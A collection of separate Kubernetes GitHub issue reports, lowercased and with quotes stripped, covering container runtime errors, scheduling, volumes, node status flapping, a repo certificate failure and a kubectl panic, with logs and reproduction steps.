'14f11f9004d8cd8c570af44c15db333088a687ee53e71beb6cbf13b567ee4fc4': devicemapper: can't set cookie dm_task_set_cookie failed \ \r \r   8m\t4m\t3\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with errimagepull: \ image pull failed for gcr.io/google_containers/pause-amd64:3.0, this may be because there are no credentials on this request.  details:  open /etc/docker/certs.d/gcr.io: too many open files \ \r \r   2m\t2m\t1\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with errimagepull: \ image pull failed for gcr.io/google_containers/pause-amd64:3.0, this may be because there are no credentials on this request.  details:  error pulling image  3.0  from gcr.io/google_containers/pause-amd64, server error: status 0 while fetching image layer  bdb43c586e887b513a056722b50553727b255e3a3d9166f318632d4209963464  \ \r \r   1m\t1m\t1\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ devmapper: error saving transaction metadata: devmapper: error creating metadata file: open /var/lib/docker/devicemapper/metadata/.tmp459530672: too many open files\\\ }\ \r \r   37s\t37s\t1\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ containerd: container did not start before the specified timeout\\\ }\ \r \r   4m\t23s\t6\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with imagepullbackoff: \ back-off pulling image \\\ gcr.io/google_containers/pause-amd64:3.0\\\ \ \r    \r \r xref: https://bugzilla.redhat.com/show_bug.cgi?id=1387651\r \r \r @derekwaynecarr

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r kubernetes external-loadbalancer\r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r stack@kube-master:~$ sudo kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r   environment  :\r -   cloud provider or hardware configuration  : custom cloud provider\r -   os    e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  : \r \r  linux kube-master 4.4.0-57-generic  78-ubuntu smp fri dec 9 23:50:32 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r \r   what happened  :\r   my setup:  \r 1 master node and 1 minion node\r \r i am creating a new cloud provider plugin, to load-balance a service. the plugin implements loadbalancer interface and is able to create a load balancer. this plugin adds pod ips of the service as members to the load balancer. \r \r the problem is when the underlying replication controller of the service is scaled up/down , updateloadbalancer function in the plugin is not invoked. after looking into code i found out that this function will only be called when a minion node is asssociated/disassociated with a service. \r \r   what you expected to happen  :\r whenever there is a change in the service  eg. service endpoints changed when replication controller is scaled up/down , updateloadbalancer function should be invoked.\r \r   how to reproduce it    as minimally and precisely as possible :\r in a 2 node setup, add a service and the scale up the pods to see this issue. \r \r   anything else we need to know  :\r i understand that this might not be an issue for other cloud providers as they use nodeport to load balance. there can be use cases where one wants to use the pod ips to load balance. \r \r

if a user delete a pod and quickly recreate the pod which is scheduled to the same node as before, there might be a problem during updating volumeattached list in node status\r \r 1. after delete a pod action, in reconciler.go https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/reconciler/reconciler.go l204, reconciler might remove the volume from volumeattached list and update the node status. the node status shows that the volume is no longer attached. \r 2. in case there is a pending operation on this volume  e.g., trying to attach to another node etc , the detach operation will not be issued. but volumeattached list will not be updated either in this case\r 3. pod is added back, reconciler checks the volume is still in actual state and will not take any further actions. on the node side, kubelet volume manager will think the volume is not attached forever... \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r /kind/support\r \r \r \r   what happened  :\r i met the \ peer's certificate has expired\  error when installing kubernetes components from the yum repo  https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64 . \r \r >  user@xxx ~ $ sudo yum install -y kubelet kubeadm kubernetes-cni\r loaded plugins: fastestmirror\r base                                                                                                                                                                                                                  | 3.6 kb  00:00:00\r dockerrepo                                                                                                                                                                                                            | 2.9 kb  00:00:00\r extras                                                                                                                                                                                                                | 3.4 kb  00:00:00\r https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64/repodata/repomd.xml:  errno 14  curl 60 - \ peer's certificate has expired.\ \r trying other mirror.\r it was impossible to connect to the centos servers.\r this could mean a connectivity issue in your environment, such as the requirement to configure a proxy,\r or a transparent proxy that tampers with tls security, or an incorrect system clock.\r please collect information about the specific failure that occurs in your environment,\r using the instructions in: https://access.redhat.com/solutions/1527033 and create a bug on https://bugs.centos.org/\r  \r \r > one of the configured repositories failed  kubernetes ,\r >  and yum doesn't have enough cached data to continue. at this point the only\r >  safe thing yum can do is fail. there are a few ways to work \ fix\  this:\r > \r >      1. contact the upstream for the repository and get them to fix the problem.\r > \r >      2. reconfigure the baseurl/etc. for the repository, to point to a working\r >         upstream. this is most often useful if you are using a newer\r >         distribution release than is supported by the repository  and the\r >         packages for the previous distribution release still work .\r > \r >      3. run the command with the repository temporarily disabled\r >             yum --disablerepo=kubernetes ...\r > \r >      4. disable the repository permanently, so yum won't use it by default. yum\r >         will then just ignore the repository until you permanently enable it\r >         again or use --enablerepo for temporary usage:\r > \r >             yum-config-manager --disable kubernetes\r >         or\r >             subscription-manager repos --disable=kubernetes\r > \r >      5. configure the failing repository to be skipped, if it is unavailable.\r >         note that yum will try to contact the repo. when it runs most commands,\r >         so will have to try and fail each time  and thus. yum will be be much\r >         slower . if it is a very temporary problem though, this is often a nice\r >         compromise:\r > \r >             yum-config-manager --save --setopt=kubernetes.skip_if_unavailable=true\r > \r > failure: repodata/repomd.xml from kubernetes:  errno 256  no more mirrors to try.\r > https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64/repodata/repomd.xml:  errno 14  curl 60 - \ peer's certificate has expired.\ \r \r   what you expected to happen  :\r \r it is supposed to work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : hardware\r - os  e.g. from /etc/os-release : \r \r > name=\ centos linux\ \r > version=\ 7  core \ \r > id=\ centos\ \r > id_like=\ rhel fedora\ \r > version_id=\ 7\ \r > pretty_name=\ centos linux 7  core \ \r > ansi_color=\ 0;31\ \r > cpe_name=\ cpe:/o:centos:centos:7\ \r > home_url=\ https://www.centos.org/\ \r > bug_report_url=\ https://bugs.centos.org/\ \r > \r > centos_mantisbt_project=\ centos-7\ \r > centos_mantisbt_project_version=\ 7\ \r > redhat_support_product=\ centos\ \r > redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r \r > linux gateway3 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/56097/pull-kubernetes-unit/67068/\r    \r go test -v k8s.io/kubernetes/test/integration/garbagecollector -run testcascadingdeletion$\r w1120 23:43:24.574825   19542 authentication.go:56  authentication is disabled\r i1120 23:43:24.581939   19542 serve.go:86  serving securely on 127.0.0.1:39739\r i1120 23:43:24.582037   19542 crd_finalizer.go:242  starting crdfinalizer\r i1120 23:43:24.582077   19542 customresource_discovery_controller.go:152  starting discoverycontroller\r i1120 23:43:24.582117   19542 naming_controller.go:274  starting namingconditioncontroller\r {\ kind\ :\ apiresourcelist\ ,\ apiversion\ :\ v1\ ,\ groupversion\ :\ apiextensions.k8s.io/v1beta1\ ,\ resources\ : {\ name\ :\ customresourcedefinitions\ ,\ singularname\ :\ \ ,\ namespaced\ :false,\ kind\ :\ customresourcedefinition\ ,\ verbs\ : \ create\ ,\ delete\ ,\ deletecollection\ ,\ get\ ,\ list\ ,\ patch\ ,\ update\ ,\ watch\  ,\ shortnames\ : \ crd\  },{\ name\ :\ customresourcedefinitions/status\ ,\ singularname\ :\ \ ,\ namespaced\ :false,\ kind\ :\ customresourcedefinition\ ,\ verbs\ : \ update\  } }\r i1120 23:43:24.614636   19542 crd_finalizer.go:246  shutting down crdfinalizer\r i1120 23:43:24.614731   19542 naming_controller.go:278  shutting down namingconditioncontroller\r e1120 23:43:24.614641   19542 customresource_discovery_controller.go:155  timed out waiting for caches to sync\r i1120 23:43:24.615316   19542 customresource_discovery_controller.go:156  shutting down discoverycontroller\r i1120 23:43:24.614679   19542 serve.go:137  stopped listening on 127.0.0.1:39739\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r  e1120 23:43:24.614641   19542 customresource_discovery_controller.go:155  timed out waiting for caches to sync  this should not occur unless stopch closed. but no more log. and from the ci log, we can see the kube-apiserever is up and down for many times, so i do not know why. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r when a container has a secret volume and creates or updates a file on the secret volume, the changes disappear within a minute or two. this behavior is confusing and surprising to container creators. because the volume acts read-only  by reverting any changes made , a better solution would be do disallow writes to the volume so that applications can fail early if they attempt to write to the volume.\r \r   what you expected to happen  :\r containers should be prevented from writing to secret volumes  and other volumes like them like downwardapi, configmap or projected volumes .\r   how to reproduce it  as minimally and precisely as possible   :\r \r create a file  pod.yaml  with this content:\r \r    \r apiversion: v1\r kind: list\r items:\r - apiversion: v1\r   kind: secret\r   data:\r     secret: bxkgc2vjcmv0cg==\r   metadata:\r     name: secrets\r   type: opaque\r - apiversion: v1\r   kind: pod\r   metadata:\r     name: busybox-pod\r   spec:\r     containers:\r     - image: gcr.io/google_containers/busybox:latest\r       name: busybox\r       command:  \ /bin/sh\  \r       args:  \ -c\ , \ sleep 10; echo before; ls -l /secrets; touch /secrets/myfile; echo checking; ls -l /secrets; sleep 120; echo checking again; ls -l /secrets; while sleep 3600; do true; done\  \r       volumemounts:\r       - mountpath: /secrets\r         name: secrets\r     restartpolicy: onfailure\r     volumes:\r     - name: secrets\r       secret:\r         secretname: secrets\r    \r then create a secret and pod via  kubectl create -f pod.yml \r \r watch the logs for 2 minutes via  kubectl logs -f busybox-pod \r you should see the pod create  myfile  and then 2 minutes later when it checks again,  myfile  will be gone.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.110+3d652cae0391cf-dirty\ , gitcommit:\ 3d652cae0391cfeff81f3e96f1ed7d558f171626\ , gittreestate:\ dirty\ , builddate:\ 2018-01-23t16:21:15z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.110+3d652cae0391cf-dirty\ , gitcommit:\ 3d652cae0391cfeff81f3e96f1ed7d558f171626\ , gittreestate:\ dirty\ , builddate:\ 2018-01-23t16:21:15z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i am using gke 1.9.7. currently using one or two preemptible nodes for cost saving. my understanding is that the preemptible node is destroyed/recreated roughly every 24 hours. this causes a few minutes of pod disruption but i dont mind. i noticed after the node was recreated, my deployment created a pod having the same name as a pod a couple of days ago. this caused errors in my monitoring since this type of thing should not happen. i'm pasting relevant logs below from stackdriver logging\r \r some notes\r \r   the repeated names occur at exactly the time at which the preemptible node should be replaced! i'm not sure whether precisely whether this is before/during/or-after the node is fully replaced\r   the application emits a \ special startup message\  which can be seen below in logs. this  among other things  tells me the app/pod was restarted, but ended up having repeated pod name. \r \r let me know how to collect more debug info to verify whether what i'm see'ing really did happen\r \r old pod startup logs\r    \r {\r  insertid:  \ 1acjn9bg2t9b9b8\   \r  labels: {…}  \r  logname:  \ projects/myprojectfoobar/logs/poddy\   \r  receivetimestamp:  \ 2018-05-16t15:39:10.359342818z\   \r  resource: {\r   labels: {\r    cluster_name:  \ hash-eu\     \r    container_name:  \ poddy\     \r    instance_id:  \ 6165026643360477450\     \r    namespace_id:  \ default\     \r    pod_id:  \ poddy-65779bcd64-6wd2b\     \r    project_id:  \ myprojectfoobar\     \r    zone:  \ europe-west1-b\     \r   }\r   type:  \ container\    \r  }\r  severity:  \ info\   \r  textpayload:  \    mode        special startup message \   \r  timestamp:  \ 2018-05-16t15:38:34z\   \r }\r    \r \r repeated pod startup logs\r \r    \r \r \r {\r  insertid:  \ dm1vbdfa1ihd0\   \r  labels: {\r   compute.googleapis.com/resource_name:  \ fluentd-gcp-v2.0.17-4h9j6\    \r   container.googleapis.com/namespace_name:  \ default\    \r   container.googleapis.com/pod_name:  \ poddy-65779bcd64-6wd2b\    \r   container.googleapis.com/stream:  \ stdout\    \r  }\r  logname:  \ projects/myprojectfoobar/logs/poddy\   \r  receivetimestamp:  \ 2018-05-17t15:42:00.406746199z\   \r  resource: {\r   labels: {\r    cluster_name:  \ hash-eu\     \r    container_name:  \ poddy\     \r    instance_id:  \ 8378159635278863461\     \r    namespace_id:  \ default\     \r    pod_id:  \ poddy-65779bcd64-6wd2b\     \r    project_id:  \ myprojectfoobar\     \r    zone:  \ europe-west1-b\     \r   }\r   type:  \ container\    \r  }\r  severity:  \ info\   \r  textpayload:  \    mode        special startup message \   \r  timestamp:  \ 2018-05-17t15:41:53z\   \r }\r    \r \r   what you expected to happen  : pods to have globally and temporally unique names!\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the node will repeatly be ready and be notready.\r    \r  root@izwz95wx4ufpnolro1iekmz prod   kubectl get node\r name                      status     roles     age       version\r izwz90c5nb7ulrekxzpmdwz   ready      <none>    1d        v1.11.1\r izwz95wx4ufpnolro1iekmz   notready   master    51d       v1.11.1\r izwz98qmbokd3aji6kfguoz   ready      <none>    8d        v1.11.1\r izwz9g9d7x6qkwyva2d3y9z   ready      <none>    14d       v1.11.3\r  root@izwz95wx4ufpnolro1iekmz prod   kubectl get node\r name                      status    roles     age       version\r izwz90c5nb7ulrekxzpmdwz   ready     <none>    1d        v1.11.1\r izwz95wx4ufpnolro1iekmz   ready     master    51d       v1.11.1\r izwz98qmbokd3aji6kfguoz   ready     <none>    8d        v1.11.1\r izwz9g9d7x6qkwyva2d3y9z   ready     <none>    14d       v1.11.3\r    \r \r kube-controller-manager-izwz95wx4ufpnolro1iekmz:\r    \r e1012 08:07:11.924146       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:07:31.952948       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:08:42.075509       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:09:12.111332       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:10:42.258419       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:11:02.292747       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:11:32.328427       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:12:52.451389       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:13:22.487266       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:13:52.528340       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:15:22.701799       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:15:52.741282       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r e1012 08:17:42.897796       1 node_lifecycle_controller.go:889  error updating node izwz95wx4ufpnolro1iekmz: operation cannot be fulfilled on nodes \ izwz95wx4ufpnolro1iekmz\ : the object has been modified; please apply your changes to the latest version and try again\r

what would you like to be added  :\r this change would change the semantics of  csinodeinfo  from implicitly determining that a driver is installed based on the existance of the  csidriverinfo  inside the  csinodeinfo  to determining whether the driver is installed based on a field  installed  inside the  csidriverinfo  object.\r \r   why is this needed  :\r this allows us to see/read the information about the driver represented in  csidriverinfo   specifically the  migratedonnode   field even when the driver is not installed. the drivers required for csi migration  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/csi-migration.md  will be pre-populated with  installed: false  on  kubelet startup  ? tbd  . this way we can seperate the two cases where the driver is not installed and:\r a  migratedonnode == true\r b  migratedonnode == false\r \r /cc @saad-ali @bertinatto \r \r  

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r if you contributed in phase 1, please give others a chance before claiming this issue. you can also help out by reviewing the phase 2 prs.\r \r \r the  in  pkg/scheduler/algorithm    priorityconfig ,  prioritymetadata , etc.  should be moved to the package that implements these types,  pkg/scheduler/algorithm/priorities . this is a relatively minor change, but having all the  in one package will make it easier to refactor in future cleanup.\r \r \r note:  pkg/scheduler/algorithm  may not import  pkg/scheduler/algorithm/priorities  as that would cause an import loop.\r \r   /help\r /good-first-issue

while using trial account on gcloud, i setup 100 pods, 55 were successfully started but 45 could not and were in pending stats, kuebernetes scheduler was trying to restart container end-less, it would rather hold in pending state and wait for resources available would be good. kubernetes should have big picture of cluster and if resources gets available, pods in queue will get started rather trying endless, it should do more efficient and better scheduling.  it would be also good to have proper message to say, resources are no more and these containers wont start and even exposing them to kubectl would be good.        i1102 01:48:05.715173       5 event.go:203  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ my-nginx-y87ld\ , uid:\ 61683c8a-80ef-11e5-ae47-42010af00002\ , apiversion:\ v1\ , resourceversion:\ 3191\ , fieldpath:\ \ } : reason: 'failedscheduling' failed for reason podfitsresources and possibly others i1102 01:48:05.817766       5 factory.go:214  about to try and schedule pod my-nginx-ea3p5 i1102 01:48:05.818463       5 scheduler.go:127  failed to schedule: &{{ } {my-nginx-ea3p5 my-nginx- default /api/v1/namespaces/default/pods/my-nginx-ea3p5 616cdde7-80ef-11e5-ae47-42010af00002 3194 0 2015-11-01 23:22:12 +0000 utc <nil> map run:my-nginx  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ default\ ,\ name\ :\ my-nginx\ ,\ uid\ :\ 6d670475-80ee-11e5-ae47-42010af00002\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 3037\ }} } { {default-token-qpr58 {<nil> <nil> <nil> <nil> <nil> 0xc208337e70 <nil> <nil> <nil> <nil> <nil>}}   {my-nginx nginx         { 0 80 tcp }     {map cpu:{0.100 decimalsi}  map  }  {default-token-qpr58 true /var/run/secrets/kubernetes.io/serviceaccount}  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil>}  always <nil> <nil> clusterfirst map   default  false   } {pending        <nil>   }} i1102 01:48:05.818820       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-jypo: podfitsresources i1102 01:48:05.818980       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-a5nl: podfitsresources i1102 01:48:05.819136       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-9sja: podfitsresources i1102 01:48:05.819293       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-07x3: podfitsresources i1102 01:48:05.819330       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-ybuu: podfitsresources i1102 01:48:05.819479       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-s990: podfitsresources i1102 01:48:05.819515       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-ckux: podfitsresources i1102 01:48:05.819591       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-jypo: i1102 01:48:05.819637       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-a5nl: podfitsresources i1102 01:48:05.819667       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-9sja: podfitsresources i1102 01:48:05.819693       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-07x3: podfitsresources i1102 01:48:05.819728       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-ybuu: podfitsresources i1102 01:48:05.819755       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-s990: podfitsresources i1102 01:48:05.819779       5 generic_scheduler.go:47  failed to find fit for pod my-nginx-ea3p5 on node kubernetes-minion-ckux: podfitsresources e1102 01:48:05.819586       5 factory.go:262  error scheduling default my-nginx-ea3p5: failed for reason podfitsresources and possibly others; retrying i1102 01:48:05.819867       5 event.go:203  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ my-nginx-ea3p5\ , uid:\ 616cdde7-80ef-11e5-ae47-42010af00002\ , apiversion:\ v1\ , resourceversion:\ 3194\ , fieldpath:\ \ } : reason: 'failedscheduling' failed for reason podfitsresources and possibly others i1102 01:48:05.913193       5 factory.go:214  about to try and schedule pod my-nginx-abvya i1102 01:48:05.913951       5 scheduler.go:127  failed to schedule: &{{ } {my-nginx-abvya my-nginx- default /api/v1/namespaces/default/pods/my-nginx-abvya 6174e1e2-80ef-11e5-ae47-42010af00002 3197 0 2015-11-01 23:22:12 +0000 utc <nil> map run:my-nginx  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ default\ ,\ name\ :\ my-nginx\ ,\ uid\ :\ 6d670475-80ee-11e5-ae47-42010af00002\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 3037\ }} } { {default-token-qpr58 {<nil> <nil> <nil> <nil> <nil> 0xc2082a2c90 <nil> <nil> <nil> <nil> <nil>}}   {my-nginx nginx         { 0 80 tcp }     {map cpu:{0.100 decimalsi}  map  }  {default-token-qpr58 true /var/run/secrets/kubernetes.io/serviceaccount}  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil>}  always <nil> <nil> clusterfirst map   default  false   } {pending        <nil>   }}

\r hi\r \r i'm building a baremetal cluster on a  vps. i have 2 masters and 3 nodes. nodes are sceduling pods fine and the cluster as a whole is running fine.\r \r the problem is when i try to run the following command on a node:\r \r     kubectl get nodes\r \r i see the following error\r \r     $kubectl get nodes\r \r     panic: runtime error: index out of range\r \r     goroutine 1  running :\r     panic 0x15e01e0, 0xc42000e0d0 \r \t/usr/local/go/src/runtime/panic.go:500 +0x1a1\r     k8s.io/kubernetes/pkg/client/typed/discovery.apiversionstoapigroup 0xc4202cb860, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20c9608, 0x0, 0x0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/typed/discovery/discovery_client.go:111 +0x222\r     k8s.io/kubernetes/pkg/client/typed/discovery.  discoveryclient .servergroups 0xc4204beee0, 0xc42025b8c0, 0x3c, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/typed/discovery/discovery_client.go:123 +0x5ee\r     k8s.io/kubernetes/pkg/kubectl/cmd/util.  cacheddiscoveryclient .servergroups 0xc420017fc0, 0x2, 0x0, 0x6 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/cached_discovery.go:117 +0x11a\r     k8s.io/kubernetes/pkg/client/typed/discovery.getapigroupresources 0x7f490f0e54f0, 0xc420017fc0, 0xc420017fc0, 0x7f490f0e54f0, 0xc420017fc0, 0xceae26, 0x1543f80 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/typed/discovery/restmapper.go:115 +0x5f\r     k8s.io/kubernetes/pkg/kubectl/cmd/util.  factory .unstructuredobject 0xc4203d8860, 0x17840bd, 0x9, 0x0, 0x0, 0xc20dfe62cb76a168, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/factory.go:380 +0x9c\r     k8s.io/kubernetes/pkg/kubectl/cmd.runget 0x205ed60, 0xc4203d8860, 0x2046000, 0xc420028010, 0x2046000, 0xc420028018, 0xc4204a4000, 0xc420415650, 0x1, 0x1, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get.go:152 +0x13d\r     k8s.io/kubernetes/pkg/kubectl/cmd.newcmdget.func1 0xc4204a4000, 0xc420415650, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/get.go:105 +0x95\r     k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4204a4000, 0xc4204155d0, 0x1, 0x1, 0xc4204a4000, 0xc4204155d0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x439\r     k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4204e18c0, 0xc4204151d0, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x367\r     k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4204e18c0, 0xc4203d8860, 0x2045fc0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r     